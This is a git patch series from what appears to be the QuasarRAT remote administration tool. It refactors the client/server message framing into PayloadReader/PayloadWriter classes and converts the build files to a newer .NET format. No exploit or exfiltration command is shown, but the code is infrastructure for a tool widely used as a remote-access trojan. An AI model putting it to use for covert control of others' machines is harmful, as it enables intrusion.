read. + /// The queue which holds buffers to read. /// private readonly Queue _readBuffers = new Queue(); @@ -241,35 +231,17 @@ public ReverseProxyClient[] ProxyClients /// private readonly object _readingMessagesLock = new object(); - /// - /// The temporary header to store parts of the header. - /// - /// - /// This temporary header is used when we have i.e. - /// only 2 bytes left to read from the buffer but need more - /// which can only be read in the next Receive callback - /// - private byte[] _tempHeader; - - /// - /// Decides if we need to append bytes to the header. - /// - private bool _appendHeader; - // Receive info private int _readOffset; private int _writeOffset; - private int _tempHeaderOffset; private int _readableDataLen; private int _payloadLen; private ReceiveType _receiveState = ReceiveType.Header; /// - /// Gets if the client is currently connected to a server. + /// The mutex prevents multiple simultaneous write operations on the . /// - public bool Connected { get; private set; } - - private const bool compressionEnabled = true; + private readonly Mutex _singleWriteMutex = new Mutex(); /// /// Constructor of the client, initializes serializer types. @@ -279,7 +251,6 @@ protected Client(X509Certificate2 serverCertificate) { _serverCertificate = serverCertificate; _readBuffer = new byte[BUFFER_SIZE]; - _tempHeader = new byte[HEADER_SIZE]; TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } @@ -428,38 +399,26 @@ private void AsyncReceive(object state) { case ReceiveType.Header: { - if (_readableDataLen + _tempHeaderOffset >= HEADER_SIZE) - { // we can read the header - int headerLength = (_appendHeader) - ? HEADER_SIZE - _tempHeaderOffset - : HEADER_SIZE; + if (_payloadBuffer == null) + _payloadBuffer = new byte[HEADER_SIZE]; + + if (_readableDataLen + _writeOffset >= HEADER_SIZE) + { + // completely received header + int headerLength = HEADER_SIZE - _writeOffset; try { - if (_appendHeader) - { - try - { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, - headerLength); - } - catch (Exception ex) - { - process = false; - OnClientFail(ex); - break; - } - _payloadLen = BitConverter.ToInt32(_tempHeader, 0); - _tempHeaderOffset = 0; - _appendHeader = false; - } - else - { - _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset); - } + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE) throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE) + Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE); } catch (Exception) { @@ -469,44 +428,44 @@ private void AsyncReceive(object state) } _readableDataLen -= headerLength; + _writeOffset += headerLength; _readOffset += headerLength; _receiveState = ReceiveType.Payload; } - else // _readableDataLen < HEADER_SIZE + else // _readableDataLen + _writeOffset < HeaderSize { + // received only a part of the header try { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen); + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); } - catch (Exception ex) + catch (Exception) { process = false; - OnClientFail(ex); + Disconnect(); break; } - _tempHeaderOffset += _readableDataLen; - _appendHeader = true; + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; process = false; + // nothing left to process } break; } case ReceiveType.Payload: { - if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen) - _payloadBuffer = new byte[_payloadLen]; - - int length = (_writeOffset + _readableDataLen >= _payloadLen) - ? _payloadLen - _writeOffset + int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HEADER_SIZE) : _readableDataLen; try { Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); } - catch (Exception ex) + catch (Exception) { process = false; - OnClientFail(ex); + Disconnect(); break; } @@ -514,54 +473,26 @@ private void AsyncReceive(object state) _readOffset += length; _readableDataLen -= length; - if (_writeOffset == _payloadLen) + if (_writeOffset - HEADER_SIZE == _payloadLen) { - bool isError = _payloadBuffer.Length == 0; - - if (!isError) + // completely received payload + try { - if (compressionEnabled) + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false)) { - try - { - _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - } + IMessage message = pr.ReadMessage(); - isError = _payloadBuffer.Length == 0; // check if payload decompression failed + OnClientRead(message, _payloadBuffer.Length); + } } - - if (isError) + catch (Exception) { process = false; Disconnect(); break; } - using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) - { - try - { - IMessage message = Serializer.Deserialize(deserialized); - - OnClientRead(message); - } - catch (Exception ex) - { - process = false; - OnClientFail(ex); - break; - } - } - _receiveState = ReceiveType.Header; - _payloadBuffer = null; _payloadLen = 0; _writeOffset = 0; } @@ -574,10 +505,6 @@ private void AsyncReceive(object state) } } - if (_receiveState == ReceiveType.Header) - { - _writeOffset = 0; // prepare for next message - } _readOffset = 0; _readableDataLen = 0; } @@ -587,58 +514,65 @@ private void AsyncReceive(object state) /// Sends a message to the connected server. /// /// The type of the message. - /// The message to be send. + /// The message to be sent. public void Send(T message) where T : IMessage { if (!Connected || message == null) return; lock (_sendBuffers) { - using (MemoryStream ms = new MemoryStream()) - { - try - { - Serializer.Serialize(ms, message); - } - catch (Exception ex) - { - OnClientFail(ex); - return; - } + _sendBuffers.Enqueue(message); - byte[] payload = ms.ToArray(); - - _sendBuffers.Enqueue(payload); - - OnClientWrite(message, payload.LongLength, payload); - - lock (_sendingMessagesLock) - { - if (_sendingMessages) return; + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; - _sendingMessages = true; - } - ThreadPool.QueueUserWorkItem(Send); + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); } } } /// /// Sends a message to the connected server. - /// Blocks the thread until all messages have been sent. + /// Blocks the thread until the message has been sent. /// /// The type of the message. - /// The message to be send. + /// The message to be sent. public void SendBlocking(T message) where T : IMessage { - Send(message); - while (_sendingMessages) + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally { - Thread.Sleep(10); + _singleWriteMutex.ReleaseMutex(); } } - private void Send(object state) + private void ProcessSendBuffers(object state) { while (true) { @@ -648,7 +582,7 @@ private void Send(object state) return; } - byte[] payload; + IMessage message; lock (_sendBuffers) { if (_sendBuffers.Count == 0) @@ -657,33 +591,13 @@ private void Send(object state) return; } - payload = _sendBuffers.Dequeue(); + message = _sendBuffers.Dequeue(); } - try - { - _stream.Write(BuildMessage(payload)); - } - catch (Exception ex) - { - OnClientFail(ex); - SendCleanup(true); - return; - } + SafeSendMessage(message); } } - private byte[] BuildMessage(byte[] payload) - { - if (compressionEnabled) - payload = SafeQuickLZ.Compress(payload); - - byte[] message = new byte[payload.Length + HEADER_SIZE]; - Array.Copy(BitConverter.GetBytes(payload.Length), message, HEADER_SIZE); - Array.Copy(payload, 0, message, HEADER_SIZE, payload.Length); - return message; - } - private void SendCleanup(bool clear = false) { lock (_sendingMessagesLock) @@ -711,11 +625,11 @@ public void Disconnect() _stream.Close(); _readOffset = 0; _writeOffset = 0; - _tempHeaderOffset = 0; _readableDataLen = 0; _payloadLen = 0; _payloadBuffer = null; _receiveState = ReceiveType.Header; + _singleWriteMutex.Dispose(); if (_proxyClients != null) { diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index a3db3fdcb..77c3fb703 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -67,7 +67,7 @@ public void Connect() } } - private void OnClientRead(Client client, IMessage message) + private void OnClientRead(Client client, IMessage message, int messageLength) { if (!Identified) { diff --git a/Quasar.Common/Networking/PayloadReader.cs b/Quasar.Common/Networking/PayloadReader.cs new file mode 100644 index 000000000..c1ad7fc69 --- /dev/null +++ b/Quasar.Common/Networking/PayloadReader.cs @@ -0,0 +1,75 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadReader : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen) + { + _innerStream = new MemoryStream(payload, 0, length, false, true); + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public PayloadReader(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public int ReadInteger() + { + return BitConverter.ToInt32(ReadBytes(4), 0); + } + + public byte[] ReadBytes(int length) + { + if (_innerStream.Position + length <= _innerStream.Length) + { + byte[] result = new byte[length]; + _innerStream.Read(result, 0, result.Length); + return result; + } + throw new OverflowException($"Unable to read {length} bytes from stream"); + } + + /// + /// Reads the serialized message of the payload and deserializes it. + /// + /// The deserialized message of the payload. + public IMessage ReadMessage() + { + ReadInteger(); + /* Length prefix is ignored here and already handled in Client class, + * it would cause to much trouble to check here for split or not fully + * received packets. + */ + IMessage message = Serializer.Deserialize(_innerStream); + return message; + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar.Common/Networking/PayloadWriter.cs b/Quasar.Common/Networking/PayloadWriter.cs new file mode 100644 index 000000000..000d808e4 --- /dev/null +++ b/Quasar.Common/Networking/PayloadWriter.cs @@ -0,0 +1,65 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadWriter : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadWriter(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public void WriteBytes(byte[] value) + { + _innerStream.Write(value, 0, value.Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// Writes a serialized message as payload to the stream. + /// + /// The message to write. + /// The amount of written bytes to the stream. + public int WriteMessage(IMessage message) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, message); + byte[] payload = ms.ToArray(); + WriteInteger(payload.Length); + WriteBytes(payload); + return sizeof(int) + payload.Length; + } + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 8f85b71ba..e23cd045e 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -46,6 +46,7 @@ + @@ -150,6 +151,8 @@ + + diff --git a/Quasar.Server/Networking/Client.cs b/Quasar.Server/Networking/Client.cs index aa019bb7f..d913b7e33 100644 --- a/Quasar.Server/Networking/Client.cs +++ b/Quasar.Server/Networking/Client.cs @@ -1,10 +1,7 @@ -using ProtoBuf; -using Quasar.Common.IO.Compression; -using Quasar.Common.Messages; +using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Collections.Generic; -using System.IO; using System.Net; using System.Net.Security; using System.Threading; @@ -156,9 +153,9 @@ public enum ReceiveType private readonly BufferPool _bufferPool; /// - /// The Queue which holds buffers to send. + /// The queue which holds messages to send. /// - private readonly Queue _sendBuffers = new Queue(); + private readonly Queue _sendBuffers = new Queue(); /// /// Determines if the client is currently sending messages. @@ -171,7 +168,7 @@ public enum ReceiveType private readonly object _sendingMessagesLock = new object(); /// - /// The Queue which holds buffers to read. + /// The queue which holds buffers to read. /// private readonly Queue _readBuffers = new Queue(); @@ -188,7 +185,6 @@ public enum ReceiveType // receive info private int _readOffset; private int _writeOffset; - private int _tempHeaderOffset; private int _readableDataLen; private int _payloadLen; private ReceiveType _receiveState = ReceiveType.Header; @@ -196,7 +192,7 @@ public enum ReceiveType /// /// The time when the client connected. /// - public DateTime ConnectedTime { get; private set; } + public DateTime ConnectedTime { get; } /// /// The connection state of the client. @@ -239,21 +235,9 @@ public enum ReceiveType private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB /// - /// The temporary header to store parts of the header. + /// The mutex prevents multiple simultaneous write operations on the . /// - /// - /// This temporary header is used when we have i.e. - /// only 2 bytes left to read from the buffer but need more - /// which can only be read in the next Receive callback - /// - private readonly byte[] _tempHeader; - - /// - /// Decides if we need to append bytes to the header. - /// - private bool _appendHeader; - - private const bool compressionEnabled = true; + private readonly Mutex _singleWriteMutex = new Mutex(); public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint) { @@ -266,8 +250,6 @@ public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint) _stream = stream; _bufferPool = bufferPool; _readBuffer = _bufferPool.GetBuffer(); - _tempHeader = new byte[HeaderSize]; - _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); OnClientState(true); } @@ -368,38 +350,26 @@ private void AsyncReceive(object state) { case ReceiveType.Header: { - if (_readableDataLen + _tempHeaderOffset >= HeaderSize) - { // we can read the header - int headerLength = (_appendHeader) - ? HeaderSize - _tempHeaderOffset - : HeaderSize; + if (_payloadBuffer == null) + _payloadBuffer = new byte[HeaderSize]; + + if (_readableDataLen + _writeOffset >= HeaderSize) + { + // completely received header + int headerLength = HeaderSize - _writeOffset; try { - if (_appendHeader) - { - try - { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, - headerLength); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - _payloadLen = BitConverter.ToInt32(_tempHeader, 0); - _tempHeaderOffset = 0; - _appendHeader = false; - } - else - { - _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset); - } + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); if (_payloadLen <= 0 || _payloadLen > MaxMessageSize) throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HeaderSize) + Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize); } catch (Exception) { @@ -409,14 +379,16 @@ private void AsyncReceive(object state) } _readableDataLen -= headerLength; + _writeOffset += headerLength; _readOffset += headerLength; _receiveState = ReceiveType.Payload; } - else // _readableDataLen < _parentServer.HEADER_SIZE + else // _readableDataLen + _writeOffset < HeaderSize { + // received only a part of the header try { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen); + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); } catch (Exception) { @@ -424,21 +396,19 @@ private void AsyncReceive(object state) Disconnect(); break; } - _tempHeaderOffset += _readableDataLen; - _appendHeader = true; + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; process = false; + // nothing left to process } break; } case ReceiveType.Payload: { - if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen) - _payloadBuffer = new byte[_payloadLen]; - - int length = (_writeOffset + _readableDataLen >= _payloadLen) - ? _payloadLen - _writeOffset + int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HeaderSize) : _readableDataLen; - + try { Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); @@ -449,59 +419,31 @@ private void AsyncReceive(object state) Disconnect(); break; } - + _writeOffset += length; _readOffset += length; _readableDataLen -= length; - - if (_writeOffset == _payloadLen) + + if (_writeOffset - HeaderSize == _payloadLen) { - bool isError = _payloadBuffer.Length == 0; - - if (!isError) + // completely received payload + try { - if (compressionEnabled) + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false)) { - try - { - _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - } + IMessage message = pr.ReadMessage(); - isError = _payloadBuffer.Length == 0; // check if payload decompression failed + OnClientRead(message, _payloadBuffer.Length); + } } - - if (isError) + catch (Exception) { process = false; Disconnect(); break; } - - using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) - { - try - { - IMessage message = Serializer.Deserialize(deserialized); - - OnClientRead(message, _payloadBuffer.Length); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - } - + _receiveState = ReceiveType.Header; - _payloadBuffer = null; _payloadLen = 0; _writeOffset = 0; } @@ -514,10 +456,6 @@ private void AsyncReceive(object state) } } - if (_receiveState == ReceiveType.Header) - { - _writeOffset = 0; // prepare for next message - } _readOffset = 0; _readableDataLen = 0; } @@ -527,58 +465,65 @@ private void AsyncReceive(object state) /// Sends a message to the connected client. /// /// The type of the message. - /// The message to be send. + /// The message to be sent. public void Send(T message) where T : IMessage { if (!Connected || message == null) return; lock (_sendBuffers) { - using (MemoryStream ms = new MemoryStream()) - { - try - { - Serializer.Serialize(ms, message); - } - catch (Exception) - { - Disconnect(); - return; - } - - byte[] payload = ms.ToArray(); + _sendBuffers.Enqueue(message); - _sendBuffers.Enqueue(payload); - - OnClientWrite(message, payload.Length); - - lock (_sendingMessagesLock) - { - if (_sendingMessages) return; + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; - _sendingMessages = true; - } - ThreadPool.QueueUserWorkItem(Send); + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); } } } /// /// Sends a message to the connected client. - /// Blocks the thread until all messages have been sent. + /// Blocks the thread until the message has been sent. /// /// The type of the message. - /// The message to be send. + /// The message to be sent. public void SendBlocking(T message) where T : IMessage { - Send(message); - while (_sendingMessages) + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try { - Thread.Sleep(10); + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); } } - private void Send(object state) + private void ProcessSendBuffers(object state) { while (true) { @@ -588,7 +533,7 @@ private void Send(object state) return; } - byte[] payload; + IMessage message; lock (_sendBuffers) { if (_sendBuffers.Count == 0) @@ -597,34 +542,13 @@ private void Send(object state) return; } - payload = _sendBuffers.Dequeue(); + message = _sendBuffers.Dequeue(); } - try - { - var message = BuildMessage(payload); - _stream.Write(message); - } - catch (Exception) - { - Disconnect(); - SendCleanup(true); - return; - } + SafeSendMessage(message); } } - private byte[] BuildMessage(byte[] payload) - { - if (compressionEnabled) - payload = SafeQuickLZ.Compress(payload); - - byte[] message = new byte[payload.Length + HeaderSize]; - Array.Copy(BitConverter.GetBytes(payload.Length), message, HeaderSize); - Array.Copy(payload, 0, message, HeaderSize, payload.Length); - return message; - } - private void SendCleanup(bool clear = false) { lock (_sendingMessagesLock) @@ -651,16 +575,16 @@ public void Disconnect() _stream.Close(); _readOffset = 0; _writeOffset = 0; - _tempHeaderOffset = 0; _readableDataLen = 0; _payloadLen = 0; _payloadBuffer = null; _receiveState = ReceiveType.Header; - + _singleWriteMutex.Dispose(); + _bufferPool.ReturnBuffer(_readBuffer); } OnClientState(false); } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index a46ccf0e2..be97105f0 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -48,23 +48,23 @@ false - - ..\packages\BouncyCastle.1.8.4\lib\BouncyCastle.Crypto.dll + + ..\packages\BouncyCastle.1.8.5\lib\BouncyCastle.Crypto.dll ..\packages\MouseKeyHook.5.6.0\lib\net40\Gma.System.MouseKeyHook.dll - - ..\packages\Mono.Cecil.0.10.1\lib\net40\Mono.Cecil.dll + + ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.dll - - ..\packages\Mono.Cecil.0.10.1\lib\net40\Mono.Cecil.Mdb.dll + + ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.Mdb.dll - - ..\packages\Mono.Cecil.0.10.1\lib\net40\Mono.Cecil.Pdb.dll + + ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.Pdb.dll - - ..\packages\Mono.Cecil.0.10.1\lib\net40\Mono.Cecil.Rocks.dll + + ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.Rocks.dll ..\packages\Mono.Nat.1.2.24.0\lib\net40\Mono.Nat.dll @@ -72,8 +72,8 @@ ..\packages\protobuf-net.2.4.0\lib\net40\protobuf-net.dll - - ..\packages\Vestris.ResourceLib.2.0.0\lib\net40\ResourceLib.dll + + ..\packages\Vestris.ResourceLib.2.1.0\lib\net40\Vestris.ResourceLib.dll diff --git a/Quasar.Server/packages.config b/Quasar.Server/packages.config index 242a03af0..caff89759 100644 --- a/Quasar.Server/packages.config +++ b/Quasar.Server/packages.config @@ -1,10 +1,10 @@  - + - + - + \ No newline at end of file From 274b9394543344c9b4d7c3b1556641e9d2c7f69d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 19 May 2020 20:57:57 +0200 Subject: [PATCH 170/229] Convert VS project files to new format and upgrade to .NET 4.5.2 --- .../Properties/AssemblyInfo.cs | 36 -- .../Quasar.Client.Tests.csproj | 92 ----- Quasar.Client/ILRepack.targets | 25 ++ Quasar.Client/Quasar.Client.csproj | 134 ++----- Quasar.Client/packages.config | 5 - .../Quasar.Common.Tests.csproj | 71 +--- Quasar.Common/Quasar.Common.csproj | 168 +-------- Quasar.Common/packages.config | 4 - .../Properties/AssemblyInfo.cs | 36 -- .../Quasar.Server.Tests.csproj | 93 ----- Quasar.Server/Networking/Server.cs | 7 +- Quasar.Server/Networking/UPnPService.cs | 94 ++--- Quasar.Server/Quasar.Server.csproj | 331 ++++++------------ Quasar.Server/packages.config | 10 - QuasarRAT.sln | 54 +-- README.md | 33 +- 16 files changed, 241 insertions(+), 952 deletions(-) delete mode 100644 Quasar.Client.Tests/Properties/AssemblyInfo.cs delete mode 100644 Quasar.Client.Tests/Quasar.Client.Tests.csproj create mode 100644 Quasar.Client/ILRepack.targets delete mode 100644 Quasar.Client/packages.config delete mode 100644 Quasar.Common/packages.config delete mode 100644 Quasar.Server.Tests/Properties/AssemblyInfo.cs delete mode 100644 Quasar.Server.Tests/Quasar.Server.Tests.csproj delete mode 100644 Quasar.Server/packages.config diff --git a/Quasar.Client.Tests/Properties/AssemblyInfo.cs b/Quasar.Client.Tests/Properties/AssemblyInfo.cs deleted file mode 100644 index 2f4536fd7..000000000 --- a/Quasar.Client.Tests/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// Allgemeine Informationen über eine Assembly werden über folgende -// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, -// die einer Assembly zugeordnet sind. -[assembly: AssemblyTitle("Quasar Client Tests")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Wenn ComVisible auf "false" festgelegt wird, sind die Typen innerhalb dieser Assembly -// für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von -// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. -[assembly: ComVisible(false)] - -// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird -[assembly: Guid("fe184ab5-f153-4179-9bf5-50523987cf1f")] - -// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: -// -// Hauptversion -// Nebenversion -// Buildnummer -// Revision -// -// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern -// durch Einsatz von '*', wie in nachfolgendem Beispiel: -// [Assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.3.0.0")] -[assembly: AssemblyFileVersion("1.3.0.0")] diff --git a/Quasar.Client.Tests/Quasar.Client.Tests.csproj b/Quasar.Client.Tests/Quasar.Client.Tests.csproj deleted file mode 100644 index 682704e50..000000000 --- a/Quasar.Client.Tests/Quasar.Client.Tests.csproj +++ /dev/null @@ -1,92 +0,0 @@ - - - - Debug - x86 - {7223F9B2-17A2-432B-ADAC-51B1E35681DB} - Library - Properties - Quasar.Client.Tests - Quasar.Client.Tests - v4.0 - 512 - {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} - 10.0 - $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) - $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages - False - UnitTest - - - true - ..\bin\Debug\ - DEBUG;TRACE - full - x86 - prompt - 4 - - - ..\bin\Release\ - TRACE - true - none - x86 - prompt - - - - - - - - - - - - - - - False - - - - - - - - - - {9f5cf56a-ddb2-4f40-ab99-2a1dc47588e1} - Quasar.Client - - - - - - - - False - - - False - - - False - - - False - - - - - - - - \ No newline at end of file diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets new file mode 100644 index 000000000..607bafa93 --- /dev/null +++ b/Quasar.Client/ILRepack.targets @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index 3e32d1648..d26498dfc 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -1,40 +1,20 @@ - - + - Debug - x86 - 8.0.30703 - 2.0 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1} + net452 WinExe - Properties - Quasar.Client Client - v4.0 - 512 - Client + true + false + x86 - x86 - true - full - false ..\bin\Debug\ - DEBUG;TRACE - prompt - 4 true - x86 none - true ..\bin\Release\ - TRACE - prompt - 4 true - false Quasar.Client.Program @@ -43,118 +23,46 @@ app.manifest - - ..\packages\MouseKeyHook.5.6.0\lib\net40\Gma.System.MouseKeyHook.dll - - - ..\packages\protobuf-net.2.4.0\lib\net40\protobuf-net.dll - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + ResXFileCodeGenerator Resources.Designer.cs Designer - + True Resources.resx True - - - + SettingsSingleFileGenerator Settings.Designer.cs - + True Settings.settings True - - {c7c363ba-e5b6-4e18-9224-39bc8da73172} - Quasar.Common - + + + + + 2.0.18.1 + + + 5.6.0 + + + 2.4.6 + - - - - copy "$(TargetPath)" "$(TargetDir)client.bin" /Y - cp "$(TargetPath)" "$(TargetDir)client.bin" - - - "$(SolutionDir)packages\ILMerge.2.14.1208\tools\ILMerge.exe" /out:"$(TargetDir)$(TargetName).all.exe" "$(TargetPath)" "$(TargetDir)protobuf-net.dll" "$(TargetDir)Gma.System.MouseKeyHook.dll" "$(TargetDir)Quasar.Common.dll" /target:WinExe /wildcards /internalize -copy "$(TargetDir)$(TargetName).all.exe" "$(TargetDir)client.bin" /Y - - \ No newline at end of file diff --git a/Quasar.Client/packages.config b/Quasar.Client/packages.config deleted file mode 100644 index d2185ed07..000000000 --- a/Quasar.Client/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar.Common.Tests/Quasar.Common.Tests.csproj index a39645e1c..7ff75251d 100644 --- a/Quasar.Common.Tests/Quasar.Common.Tests.csproj +++ b/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -1,71 +1,22 @@ - - + - Debug - AnyCPU - {CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B} - Library - Properties - Quasar.Common.Tests - Quasar.Common.Tests - v4.0 - 512 - {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} - 15.0 - $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) - $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages - False - UnitTest + net452 + false - - true - full - false + ..\bin\Debug\ - DEBUG;TRACE - prompt - 4 - - none - true + ..\bin\Release\ - TRACE - prompt - 4 + none + false - - - - - - - - - - - - - False - - - - - - - - - - - + + + - - {c7c363ba-e5b6-4e18-9224-39bc8da73172} - Quasar.Common - + - - \ No newline at end of file diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index e23cd045e..4c7f419a7 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -1,171 +1,37 @@ - - - + - Debug - AnyCPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172} + net452 Library - Properties - Quasar.Common - Quasar.Common - v4.0 - 512 - true - Client + false - true - full - false ..\bin\Debug\ - DEBUG;TRACE - prompt - 4 true - - + none - true ..\bin\Release\ - TRACE - prompt - 4 true - - 